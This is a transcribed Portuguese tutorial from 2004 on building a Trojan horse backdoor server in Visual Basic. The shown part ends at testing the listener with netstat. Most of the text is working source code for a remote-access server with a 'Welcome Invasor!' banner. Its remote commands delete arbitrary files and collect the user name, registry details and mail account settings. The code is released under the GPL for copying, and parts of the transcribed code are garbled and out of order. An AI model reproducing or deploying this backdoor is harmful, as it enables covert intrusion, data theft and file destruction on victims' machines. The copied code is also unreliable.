Guilherme Cestarolli Seleguim - /

Tamanho: px
Começar a partir da página:

Download "Guilherme Cestarolli Seleguim - cestarolli@puccampinas.edu.br / gseleguim@ig.com.br"

Transcrição

1 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS Visual Basic - Delphi Versão Simplificada por Guilherme Cestarolli Seleguim Janeiro-2004

2 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 2 Saia do ócio Não caia no óbvio Não quero ter um sócio Eu quero um antídoto Pra viver melhor O RAPPA Greetings to: Men At Work Pennywise Placebo The Cranberries Millencolin NOFX No Fun At All Sublime Abanã Reggae Roots Band 311 ICS Jundiaí Interior Connected Style InLine Brothers VideoGroove Video Magazine MindGame DayleBread Magazine Douglas Brother Japanese Style Friend Rest in peace. Berça Brother Rasta Style Friend Rest in peace. Cesar Mora Carlos Pianowski FruitBooter Sick Section TRS Alex Broskow Razors Shima Senate Kill Team X-Games Michael Ende Barbi s Family Croci Costa s Family My Family J. M. Barrie Cap. Charles Johnson (Pirates between ) Flat Spin 540º True Spin Fish Bone Torque Slide 720º Double Grab PUC-Campinas Revista Fluir Revista Hardcore Surf Adventures Evertinho s Sick Adventures In The Night And all the girls......

3 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 3 Sumário Resumo Abstract Lista de Figuras INTRODUÇÃO Introdução A Lenda do Cavalo de Tróia Análise Histórica versus Análise Computacional CONSTRUINDO O SERVIDOR EM VISUAL BASIC Layout FrmMain TxtInfo Server CODIFICAÇÃO DO SERVIDOR EM VISUAL BASIC General Declarations Private Function Banner ( ) As String Private Function Del (sfile as String) As String Private Function GetCurrentUserName ( ) As String Private Function GetMailInfo ( ) As String Private Function Help ( ) As String Private Function MSG (smsg as String) As String Private Function RegInfo ( ) As String Form_Load Private Sub Server_ConnectionRequest Private Sub Server_DataArrival Private Sub Server_Error TESTANDO O SERVIDOR EM VISUAL BASIC CONSTRUINDO O SERVIDOR EM DELPHI Layout FrmMain MInfo Server CODIFICANDO O SERVIDOR EM DELPHI Uses Private Declarations Function TfrmMain.Banner: String; Function TfrmMain.Del(sFile: String): String; Function TfrmMain.GetCurrentUserName: String; Function TfrmMain.GetMailInfo: String; Function TfrmMain.Help: String; Function TfrmMain.MSG(sMSG: String): String; Function TfrmMain.RegInfo: String; procedure TfrmMain.ServerClientConnect procedure TfrmMain.ServerClientDisconnect procedure TfrmMain.ServerClientRead procedure TfrmMain.ServerClientError REGISTRANDO O SERVIDOR PARA INÍCIO AUTOMÁTICO Registrando o servidor em Visual Delphi Procedure TfrmMain.FormCreate Registrando o servidor em Visual Basic Private Sub Form_Load... 36

4 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 4 Resumo Este documento trata sobre o desenvolvimento de software para acesso remoto conhecido como Cavalo de Tróia. As linguagens de programação utilizadas para este contexto são o Visual Basic 6 e o Delphi 5. O intuito para ambas as linguagens é construir um servidor que tenha as mesmas funcionalidades, para se ter como fazer uma comparação. Noções sobre redes de computadores são tratadas no escopo deste documento. Não serão tratadas funcionalidades específicas e normalmente comuns neste tipo de software como Transferência de Arquivos (Roubo de Informação), Formatação de Disco, Desligar / Reiniciar Sistemas Operacionais porque o foco é a construção da aplicação e não suas funcionalidades. Este documento tem por finalidade auxiliar Administradores de Redes e Administradores de Sistemas a entenderem melhor o funcionamento desse tipo de software que se bem utilizado e construído causa sérios danos a Comunidade da Internet e a Corporações diariamente. Invasão de Sistemas, Roubo e Destruição de Arquivos/Informação são crimes e de nenhuma maneira este documento visa sustentar estas atividades. Todo o software desenvolvido aqui é livre e pode ser copiado, modificado, distribuído sob os Termos da Licença Pública Geral GNU, desde que mantida nota sobre o autor original.

5 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 5 Abstract This document is about the development of remote access systems, well-known as Trojan Horses. The programming languages used for this purposes are Visual Basic 6 and Delphi 5. The purpose for both languages is to construct a server that has the same functionalities, for a comparisson to be possible. Computer Network Concepts are talked in this document s scope. Specific functionalities won t be discussed like File Transfer (Steal of Information), Disks Formatting, Restart / Shutdown Operational Systems because the focus is the application s construction and not it s functionalities. This document has the purpose of helping Network and Systems Administrators to understand better the way this kind of software works because it causes serious damages to the Internet Community and Corporations every day. Systems Invasion, Steal and Destruction of Files/Information are crime and in no way this document wants the keep this activities up. The software developed here is free, and can be copied, modified, distributed under the Terms of the General Public License GNU, since the original author would be kept.

6 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 6 Lista de Figuras 01 Helena Selecionando o tipo de projeto Alterando o nome do projeto O formulário padrão do Visual Basic Botão Save Project Salvando o formulário Salvando o projeto Adicionando Registry_Module.bas ToolBox do Visual Basic Adicionando ao projeto o Microsoft Winsock Control Layout de frmmain Verificando as portas locais Executando telnet Telnet conectado ao servidor Formulário padrão do Delphi Botão Save All da ToolBar Salvando a unit umain.pas Salvando o projeto TrojanServer.dpr Adicionando TServerSocket ao projeto Tela do servidor em Delphi Eventos de TServerSocket RegEdit Editor do Registro do Windows... 36

7 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 7 Introdução Software para Acesso Remoto são programas que permitem que uma pessoa tenha acesso ao seu sistema computacional sem que você perceba. Uma vez que este tipo de software esteja instalado, o invasor tem total acesso ao computador da vítima, dependendo das funcionalidades programadas. Para que esta invasão computacional funcione são necessários dois programas: um servidor e um cliente. O software servidor é cuidadosamente programado para ter as funcionalidades que o invasor deseja, sejam elas destrutivas ou para roubo de informação. O software cliente é construído para se conectar ao software servidor e pedir para que ele execute suas funcionalidades. Depois de escolhida a vítima, o atacante (Hacker, Cracker, ou a nomenclatura que desejar para o invasor) envia o programa servidor para a vítima, seja este envio por , instant messanger ou mesmo localmente. Uma vez executado o programa servidor na máquina alvo ele tem algumas tarefas a fazer antes de liberar o acesso remoto. Normalmente ele cria um diretório de nome aleatório para que seja mais difícil sua identificação e se auto-copia para este diretório e também se auto-renomeia. Depois disso, adiciona uma entrada na área de programas para inicialização automática no Sistema Operacional, para que o programa servidor seja iniciado toda a vez que o Sistema Operacional for ligado. Uma porta é aberta para que se possa fazer o acesso remoto. As portas são identificadas por números entre 0 e O atacante então inicia seu programa cliente e neste entra com o endereço IP e o número da porta para conexão. Se a conexão for bem sucedida as funcionalidades do servidor estão expostas para o atacante decidir o que quer fazer.

8 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 8 A Lenda do Cavalo de Tróia A bela Helena (filha do Rei Píndaro de Esparta e casada com Menelau) quando foi raptada por Páris (filho do Rei Príamo de Tróia), gerou a famosa guerra entre gregos e troianos narrada no poema épico "ilíada" escrito por Homero, a obra foi traduzida com esse nome pois Tróia era chamada pelos latinos de "ilion". No lado grego, a exaustão faz sentir-se amargamente. São dez anos desde que deixaram a pátria para reaver Helena, mas, apesar de todas as mortes e sofrimentos, Tróia continua inconquistável. fig. 01 Helena. Esquecendo o antigo entusiasmo, os mais cansados já falam em voltar para casa. Está mais que na hora de fazer alguma coisa, e se a força não consegue, talvez a astúcia seja a solução. Pelo menos, essa é a convicção de Ulisses. Pacientemente, ele arquiteta um plano que é aceito pelo rei Agamenon. Algum tempo mais tarde, enquanto todos os gregos dormem; um homem esgueira-se entre as tendas e escapa da vigilância dos sentinelas. Muito ferido, deixa o acampamento e, mancando, dirige-se a Tróia. Ao chegar às portas da cidade, faz tanta algazarra que os vigias, apesar de desconfiados, acabam abrindo-as. O desconhecido conta sua história: Eu me chamo Sínon e era prisioneiro dos gregos. O esperto Ulisses e Agamenon reduziram-me ao lamentável estado em que me encontro. Mas consegui fugir e suplico que me dêem asilo. O homem é levado a Príamo, o qual, após ouvi-lo, resolve oferecer-lhe a hospitalidade e os cuidados de que necessita. O velho e sábio soberano de Tróia nem desconfia de que Sínon, primo de Ulisses, é um espião e está ali para destruir a cidade. De manhã, do alto das muralhas os habitantes de Tróia se surpreendem: as tendas e os navios gregos desapareceram. Até onde a vista alcança, não há mais nenhum vestígio da presença dos aqueus. No entanto, diante da maior porta da cidade ergue-se um cavalo de madeira gigantesco.

9 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 9 Mandam buscar Sínon, na esperança de que ele possa explicar aquela situação esquisita. O espião engana-os dizendo que os gregos, cansados de lutar inutilmente, voltaram para sua terra natal. O cavalo seria apenas um meio de tentar garantir sua segurança durante a viagem marítima de volta para casa: enquanto o cavalo ficar fora da cidade, os aqueus serão poupados das tempestades, mas, se o cavalo entrar em Tróia, toda a frota grega naufragará. Os troianos dão gritos de alegria. Vão enfim poder vingar-se daqueles que os fizeram sofrer durante dez anos. Abrem os pesados portões e apressam-se em trazer para dentro o cavalo. Os troianos começam a trabalhar, uns empurrando e outros puxando o animal. Ao fim de muito esforço, o colossal cavalo chega dentro da cidade. Quando a noite cai, os troianos vão dormir. Enquanto descansam, abre-se no ventre do cavalo um alçapão habilmente escondido. Do corpo oco do cavalo saem os melhores guerreiros gregos. Acompanhados de Sínon, vão à entrada de Tróia, livram-se dos sentinelas e abrem as portas. Armados da cabeça aos pés, os aqueus penetram na cidade. O plano de Ulisses é um sucesso: a partida dos gregos era uma farsa, e os navios voltaram com a escuridão. Os gregos lançam-se sobre os adormecidos troianos. É uma carnificina. O velho Príamo e seus filhos são passados pelo fio da espada. Resistir é impossível, pois os troianos nem ao menos conseguem reunir-se para enfrentar o inimigo. Os gregos tornam-se senhores de Tróia e não deixam vivo um só homem. As mulheres e as crianças passam a ser escravas dos vencedores. Quando amanhece, a cidade antes gloriosa, está reduzida a um monte de cinzas e escombros. Nasce então a expressão presente de grego. No meio de toda essa desolação, um homem está no auge da felicidade: Menelau. Finalmente recuperou Helena! Até hoje não se sabe realmente se o cavalo existiu ou é apenas uma lenda, porém, até 1870 não se acreditava nem na existência de Tróia, até que Schliemann, um comerciante alemão, redescobriu as ruínas da cidade (e suas jóias de ouro) na atual Colina de Hissarlik (Turquia). Os estudos arqueológicos indicam que existiram nove cidades sobrepostas. A mais antiga é datada aproximadamente em a.c. e a última é do ano 400 d.c. quando Tróia era a colônia

10 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 10 romana chamada "ilium novum". Na época da Guerra a cidade vivia sob a influência dos hititas, civilização que rivalizava com os gregos. Mesmo que lendário, o cavalo de Tróia nos passa a mensagem de que nem sempre uma guerra é vencida com armas, as vezes, a astúcia (e um presente de grego) é mais importante.

11 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 11 Análise Histórica versus Análise Computacional Na Mitologia, Ulisses desenvolveu todo o plano do Cavalo de Tróia. Mas quem são os autores desses temidos programas que tanto assolam a Internet? Na maioria das vezes são pessoas que conhecem muito bem sobre redes de computadores, linguagens de programação e sistemas operacionais, comumente conhecidos como Hackers e Crackers. Mas atualmente, ninguém precisa ser um Hacker ou Cracker de alto nível para poder construir um Cavalo de Tróia. Com a inúmera quantidade de informações disponíveis para pesquisa e Linguagens de Programação visuais e orientadas a objeto, que encapsulam toda a complexidade da programação dentro de componentes, o desenvolvimento se torna muito rápido. Se os gregos tivessem todos esses recursos somados à um notebook ligado à Internet, teriam acabado com a guerra contra Tróia muito antes dos dez longos anos de sua duração... Provavelmente, após Ulisses ter tido a idéia do Cavalo de Tróia, ele procurou meios para construí-lo. Fez um pequeno rascunho do formato e das dimensões. Mandou chamar os melhores marceneiros e lhes explicou o que deviam fazer. Buscaram então madeira, pregos e martelos e assim, começaram a construção. Essa pode ter sido a maneira escolhida por Ulisses para construí-lo. Como é então construído o Cavalo de Tróia para um ambiente computacional? Da Mitologia à atualidade muito tempo se passou e as ferramentas de desenvolvimento também não são as mesmas. As ferramentas, antes rudimentares e de produção artesanal usadas pelos gregos na época se transformaram em poderosas Linguagens de Programação. Podemos citar aqui algumas delas, como por exemplo: Java, C++, Kylix, Delphi, Visual Basic, dentre tantas outras disponíveis no mercado. Analisando os motivos da lendária guerra contra Tróia, percebemos que esta se deu devido ao rapto de Helena pelos troianos, incentivando os gregos à batalharem para resgatá-la. Após muitos anos de guerra, a astúcia do grego Ulisses foi posta à prova, quando então teve a brilhante idéia do Cavalo de Tróia. Portanto os gregos tinham um objetivo muito claro: resgatar Helena e vingar a morte de milhares de soldados nos dez anos de batalha. Mas aqui chegamos num ponto crítico de nossa analogia: Onde está o servidor de nome Helena que precisa ser salvo? Sabemos que em um ambiente computacional não podemos fazer a mesma comparação. Porém, Security Officers de toda a parte do mundo sabem muito bem porque

12 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 12 Hackers e Crackers atacam. Quase nunca têm objetivos concretos como o dos gregos e na grande maioria fazem tudo por pirraça. Mas infelizmente estamos compartilhando um mundo muito diversificado e nesta rede mundial de computadores, não nos deparamos apenas com garotinhos inteligentes. Quando se trata do uso de Cavalos de Tróia por Hackers e Crackers, um dos motivos que me vêm à mente é o da Espionagem Industrial. Numa época de tanta competitividade, o knowhow é imprescindível para tomadas de decisões, que refletirão no desempenho das corporações para os próximos anos. Portanto, se a minha empresa souber das estratégias da sua, poderei usar as suas informações e tirar proveito da situação, saindo na frente numa disputa de mercado, num determinado segmento de produtos por exemplo. A aplicação de um Cavalo de Tróia pode ter inúmeros motivos mas Security Officers, Administradores e mesmo usuários domésticos devem ter grande atenção para um ponto de extrema importância: Você percebe que está infectado por vírus devido à alterações no comportamento de seu Sistema Operacional, mas quando um Cavalo de Tróia está instalado, o invasor está conectado, roubando seus arquivos e você nem imagina o que está realmente acontecendo.

13 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 13 Construindo o Servidor em Visual Basic Layout Aqui começaremos a construção de nosso programa servidor em Visual Basic. Tentarei explicar Step-by-Step para que o entendimento seja imediato e progressivo. Abra a IDE do Visual Basic e escolha um novo projeto Standard EXE, como mostrado na figura abaixo. fig. 02 Selecionando o tipo de projeto. Altere o nome do projeto para Backdoor, como mostrado na figura abaixo: fig. 03 Alterando o nome do projeto. Dica: A tecla de atalho para se acessar a Janela de Propriedades dos componentes ( Properties Window ) é a F4. Quando iniciamos um novo projeto Standard EXE, automaticamente o Visual Basic cria um formulário padrão para que possamos começar a construir nossa aplicação.

14 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 14 fig. 04 O formulário padrão do Visual Basic. frmmain Clique sobre o formulário e depois pressione a tecla F4 para ser exibibida a janela de propriedades e altere as propriedades à seguir: Name: frmmain; Border Style: 1 Fixed Single Caption: Visual Basic - Backdoor Server Height: 2940; Width: 7080; A propriedade Name do formulário representa como o formulário será representado dentro do Projeto. Nota-se que não é permitido que haja dois formulários com o mesmo nome em um mesmo projeto por se tratar de um identificador único (chave). A propriedade Height contém a Altura do formulário em tela. A propriedade Width, por sua vez, contém a Largura do formulário em tela. A propriedade Caption contém a descrição que aparecerá na barra de título do formulário. A propriedade Border Style representa o Estilo da Borda do formulário e 1 Fixed Single significa que a borda de nosso formulário será fixa e não poderá ser dimensionada. As outras possíveis opções para esta propriedade são None, Sizable, Fixed Dialog, Fixed Tool Window, Sizable Tool Window. Basta alterar entre estas opções para visualizar a diferença. Agora salve seu trabalho através do menu File->Save Project ou através do botão Save Project da ToolBar.

15 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 15 fig. 05 Botão Save Project. Salve o formulário com o nome de frmmain.frm. fig. 06 Salvando o formulário. Salve o projeto com o nome de Backdoor.vbp. fig. 07 Salvando o Projeto. Utilizaremos neste projeto acesso ao Registro ( Registry ) do Windows. Para isso dispomos de um módulo (poderia ser uma classe para implementar Orientação a Objeto) já codificado e de código livre escrito por John Powell em 12/04/2001, disponível em <http://www.freevbcode.com/showcode.asp?id=2577>. Portanto baixe este módulo e o adicione ao projeto através das teclas de atalho CTRL+D.

16 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 16 fig. 08 Adicionando Registry_Module.bas. Adicione um componente TextBox ao formulário, que se encontra na ToolBox e altere as seguintes propriedades: TxtInfo fig. 09 ToolBox do Visual Basic. Name: txtinfo; Height: 2535; Left: 0; Top: 0; Locked: True; Multline: True; Scrollbars: 2 Vertical; Width: 6945; As propriedades Left e Top se referem ao posicionamento do TextBox dentro do formulário. A propriedade Locked se refere ao Travamento do TextBox quanto a edição. Se Locked estiver False então é possível que o usuário digite conteúdo no TextBox. Como o objetivo de txtinfo é apenas informativo mantemos Locked com o valor True. A propriedade Multline diz se o usuário poderá digitar texto com várias linhas. A propriedade Scrollbars indica se o TextBox terá Barras de

17 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 17 Rolagem, o valor 2 Vertical indica que terá apenas barras verticais. As outras opções para esta propriedade são None, Horizontal e Both. Agora adicionaremos o componente que irá fazer a comunicação via rede, o Microsoft Winsock Control 6.0. Para isso utilize a seqüência de menus Project -> Components, ou se preferir a tecla de atalho para os componentes é a CTRL+T. fig. 10 Adicionando ao projeto o Microsoft Winsock Control 6.0. Marque o componente Microsoft Winsock Control 6.0 e clique sobre o botão Aplicar. Após isto o componente aparece na ToolBox, basta então adiciona-lo ao formulário. O formulário deverá ficar parecido com a figura à seguir: fig. 11 Layout de frmmain. Agora vamos configurar as propriedades do Winsock como abaixo:

18 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 18 Server Name: Server; LocalPort: 11111; Protocol: 0 - scktcpprotocol; A propriedade LocalPort indica qual a porta local que será utilizada para a comunicação entre os computadores. A propriedade Protocol indica qual o protocolo será utilizado para comunicação. Se usado o TCP existe conexão entre os computadores entre outras vantages, se for usado o UDP não. Codificação do Servidor em Visual Basic Vamos agora para a parte de codificação de nosso servidor. Na seção General Declarations do formulário insira o código: General Declarations Option Explicit Dim scommand As String Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpbuffer As String, nsize As Long) As Long scommand é a variável que conterá o comando a ser executado pelo servidor, que é enviado pelo cliente que está conectado. A função GetUserName é uma API do Windows usada para retornar o nome do usuário corrente no Windows. Agora iremos escrever as funções utilizadas no servidor como seguem: Private Function BANNER( ) As String Private Function BANNER() As String BANNER = " " & vbcrlf & vbcrlf BANNER = BANNER & " Visual Basic - BACKDOOR SERVER " & vbcrlf BANNER = BANNER & " Version Internet.Zero.Polar.Age " & vbcrlf BANNER = BANNER & " Developed by Guilherme Cestarolli Seleguim " & vbcrlf BANNER = BANNER & " Welcome Invasor! Type Help for the list of commands " & vbcrlf BANNER = BANNER & " " & vbcrlf & vbcrlf BANNER = BANNER & "BACKDOOR->" End Function

19 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 19 Quando algum cliente se conectar ao nosso servidor este banner de apresentação será exibido. Private Function DEL(sFile as String) As String Private Function DEL(sFile As String) As String On Error GoTo err_del Kill (sfile) DEL = "The file " & sfile & " was deleted." & vbcrlf DEL = DEL & "BACKDOOR->" Exit Function err_del: DEL = "The file " & sfile & " could not be found." & vbcrlf DEL = DEL & "BACKDOOR->" End Function Quando solicitada a deleção de um arquivo pelo cliente, o servidor irá utilizar esta função para faze-lo. Para apagar um arquivo utilizando o VB usamos o procedimento Kill (FileName). Se ao passar por esta rotina não houver erro algum, então o arquivo foi apagado. Caso haja algum erro o arquivo não foi apagado. Private Function GetCurrentUserName( ) As String Private Function GetCurrentUserName() As String Dim suser As String Dim sbuffer As String Dim lsize As Long sbuffer = Space$(255) lsize = Len(sBuffer) Call GetUserName(sBuffer, lsize) If lsize > 0 Then suser = Left$(sBuffer, lsize) Else suser = vbnullstring End If GetCurrentUserName = suser & vbcrlf GetCurrentUserName = GetCurrentUserName & "BACKDOOR->" End Function Quando solicitado o usuário corrente do Windows pelo cliente, o servidor irá utilizar esta função para faze-lo. Private Function GetMailInfo( ) As String Private Function GetMailInfo() As String Dim AccountStr As String AccountStr = QueryValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager", "Default Mail Account") If (AccountStr <> "") Then

20 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 20 GetMailInfo = "Account Name: " & QueryValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\" + AccountStr, "Account Name") & vbcrlf GetMailInfo = GetMailInfo & "POP3 Server: " & QueryValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\" + AccountStr, "POP3 Server") & vbcrlf GetMailInfo = GetMailInfo & "POP3 User Name: " & QueryValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\" + AccountStr, "POP3 User Name") & vbcrlf GetMailInfo = GetMailInfo & "SMTP Server: " & QueryValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\" + AccountStr, "SMTP Server") & vbcrlf GetMailInfo = GetMailInfo & "SMTP Display Name: " & QueryValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\" + AccountStr, "SMTP Display Name") & vbcrlf GetMailInfo = GetMailInfo & "SMTP Address: " & QueryValue(HKEY_CURRENT_USER, "Software\Microsoft\Internet Account Manager\Accounts\" + AccountStr, "SMTP Address") & vbcrlf GetMailInfo = GetMailInfo & "BACKDOOR->" Else GetMailInfo = "Couldn't retrieve information." & vbcrlf GetMailInfo = GetMailInfo & "BACKDOOR->" End If End Function Quando solicitadas informações de pelo cliente, o servidor irá utilizar esta função para faze-lo. Private Function Help ( ) As String Function HELP() As String HELP = "Available commands for this version are listed below:" & vbcrlf HELP = HELP & "HELP (Shows available commands)" & vbcrlf HELP = HELP & "MSG (Sends message. Example: MSG Message)" & vbcrlf HELP = HELP & "USER (Retrieve information about remote user)" & vbcrlf HELP = HELP & "DEL (Deletes a file. Example: DEL PathOfFile)" & vbcrlf HELP = HELP & "REGINFO (Retrieve Registry Information)" & vbcrlf HELP = HELP & "MAILINFO (Retrieve Mail Information)" & vbcrlf HELP = HELP & "QUIT (Disconnects from the server)" & vbcrlf HELP = HELP & "BACKDOOR->" End Function Quando solicitadas as funções que o servidor executa, o servidor irá utilizar esta função para faze-lo. Private Function MSG(sMSG As String) As String Private Function MSG(sMSG As String) As String MSG = "The message was delivered" & vbcrlf MSG = MSG & "BACKDOOR->" MsgBox smsg, vbokonly, "You received a message!" End Function Quando o cliente quiser enviar uma mensagem para o servidor, o servidor irá utilizar esta função para faze-lo. Private Function RegInfo ( ) As String Private Function RegInfo() As String

21 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 21 'Tries to get Windows 9x info On Error Resume Next RegInfo = "Trying to get Win9x Info..." & vbcrlf RegInfo = RegInfo & "Windows 9x" & vbcrlf RegInfo = RegInfo & "Product Name: " & QueryValue(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion", "ProductName") & vbcrlf RegInfo = RegInfo & "Version Number: " & QueryValue(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion", "VersionNumber") & vbcrlf 'Tries to get Windows NT info RegInfo = RegInfo & "" & vbcrlf RegInfo = RegInfo & "Trying to get Windows NT Info..." & vbcrlf RegInfo = RegInfo & "Windows NT" & vbcrlf RegInfo = RegInfo & "Product Name: " & QueryValue(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows NT\CurrentVersion\", "ProductName") & vbcrlf RegInfo = RegInfo & "CSD Version: " & QueryValue(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows NT\CurrentVersion\", "CSDVersion") & vbcrlf RegInfo = RegInfo & "Current Version: " & QueryValue(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows NT\CurrentVersion\", "CurrentVersion") & vbcrlf RegInfo = RegInfo & "Current Build: " & QueryValue(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows NT\CurrentVersion\", "CurrentBuild") & vbcrlf RegInfo = RegInfo & "Current Build Number: " & QueryValue(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows NT\CurrentVersion\", "CurrentBuildNumber") & vbcrlf RegInfo = RegInfo & "Current Type: " & QueryValue(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows NT\CurrentVersion\", "CurrentType") & vbcrlf RegInfo = RegInfo & "Product ID: " & QueryValue(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows NT\CurrentVersion\", "ProductId") & vbcrlf RegInfo = RegInfo & "Registered Organization: " & QueryValue(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows NT\CurrentVersion\", "RegisteredOrganization") & vbcrlf RegInfo = RegInfo & "Registered Owner: " & QueryValue(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows NT\CurrentVersion\", "RegisteredOwner") & vbcrlf RegInfo = RegInfo & "Path Name: " & QueryValue(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows NT\CurrentVersion\", "Pathname") & vbcrlf RegInfo = RegInfo & "Source Path: " & QueryValue(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows NT\CurrentVersion\", "Source Path") & vbcrlf RegInfo = RegInfo & "System Root: " & QueryValue(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows NT\CurrentVersion\", "System Root") & vbcrlf RegInfo = RegInfo & "BACKDOOR->" End Function Quando o cliente quiser verificar informações do Registro do Windows, o servidor irá utilizar esta função para faze-lo. Form_Load Private Sub Form_Load() Server.Listen End Sub O método Listen do componente Server faz com que abra a porta definida na propriedade Port e fique escutando ( listening ), aguardando conexões. Portanto, no start do programa, o servidor ficará aguardando conexões. Agora iremos programar os eventos do componente Server.

22 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 22 Private Sub Server_ConnectionRequest (ByVal requestid As Long) Private Sub Server_ConnectionRequest(ByVal requestid As Long) txtinfo.text = txtinfo.text & "The machine " & Server.RemoteHostIP & " is trying to connect to me..." & vbcrlf If Server.State <> sckclosed Then Server.Close Server.Accept requestid Server.SendData (BANNER) If Server.State = sckconnected Then txtinfo.text = txtinfo.text & "Connected to " & Server.RemoteHostIP & vbcrlf End If End Sub Este método é invocado quando algum cliente está tentando se conectar, então adicionamos no txtinfo a informação de qual cliente está tentando se conectar, através da propriedade RemoteHostIP, que mostra o IP do computador remoto. O método Accept é utilizado para aceitarmos a conexão do cliente. Logo após aceitarmos a conexão é enviado o nosso banner, através do método SendData, que é utilizado sempre que queremos enviar dados ao cliente. Private Sub Server_DataArrival (ByVal bytestotal As Long) Private Sub Server_DataArrival(ByVal bytestotal As Long) Dim smsg As String Dim saction, sparameter As String Dim iposspace As Integer Server.GetData smsg, vbstring If smsg = vbcrlf Then iposspace = InStr(1, scommand, " ") 'There is a parameter If iposspace > 0 Then saction = Mid(sCommand, 1, iposspace - 1) 'Delete(sCommand, 1, iposspace) sparameter = Mid(sCommand, iposspace + 1) Else saction = scommand End If 'Typed MSG If UCase(sAction) = "MSG" Then scommand = "" Server.SendData (MSG(sParameter)) 'Typed QUIT ElseIf UCase(sAction) = "QUIT" Then Server.SendData ("Connection terminated...") Server.Close 'Typed HELP ElseIf UCase(sAction) = "HELP" Then scommand = "" Server.SendData (HELP) 'Typed DEL

23 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 23 ElseIf UCase(sAction) = "DEL" Then scommand = "" Server.SendData (DEL(sParameter)) 'Typed REGINFO ElseIf UCase(sAction) = "REGINFO" Then scommand = "" Server.SendData (RegInfo) 'Typed MAILINFO ElseIf UCase(sAction) = "MAILINFO" Then scommand = "" Server.SendData (GetMailInfo) 'Typed USER ElseIf UCase(sAction) = "USER" Then scommand = "" Server.SendData (GetCurrentUserName) 'Typed a non-existant command Else Server.SendData ("Command not recognized." & vbcrlf) Server.SendData ("BACKDOOR->") scommand = "" End If 'Typed a word different than BackSpace ElseIf Asc(sMSG) <> 8 Then scommand = scommand + smsg 'Typed BackSpace Else End Sub End If If Len(sCommand) = 0 Then Server.SendData (vbcr & "BACKDOOR->") Else scommand = Mid(sCommand, 1, Len(sCommand) - 1) End If Este método é invocado quando algum cliente envia dados ao servidor. Guardamos a informação enviada na variável smsg através do método GetData. Guardamos na variável saction o comando enviado e se houver um parâmetro para este comando guardamos ele em sparameter. Verificamos o comando e se for válido executamos a função referenciada implementando assim um protocolo de comunicação. Private Sub Server_Error( ) Private Sub Server_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) Dim smsg As String smsg = "An error ocurred with the socket component." & vbcr & _

24 SISTEMAS DE ACESSO REMOTO REMOTE ACCESS SYSTEMS 24 "Error Number: " & Number & vbcr & _ "Description : " & Description & vbcr & _ "Code : " & Scode & vbcr & _ "Source : " & Source txtinfo.text = txtinfo.text & vbcr & smsg & vbcr End Sub Este método é invocado quando algum erro for lançado proveniente do componente Winsock. Testando o Servidor em Visual Basic Compile o projeto com as teclas CTRL+F5 para verificar erros de sintaxe. Agora com o programa em execução vá no Prompt do MS-DOS e digite netstat an e note que a porta já está aberta esperando conexões. fig. 12 Verificando as portas locais. A opção a do netstat exibe as conexões atuais e as portas em estado listening (aguardando conexões). A opção n exibe endereços e portas no formato numérico. A seguir as opções para netstat: netstat [-a] [-e] [-n] [-s] [-p protocolo] [-r] [intervalo] -a Exibe conexões atuais e as portas em estado LISTEN aguardando conexões. -e Exibe estatísticas Ethernet. -n Exibe no formato numérico endereços IP e portas. -s Informações agrupadas por protocolo.

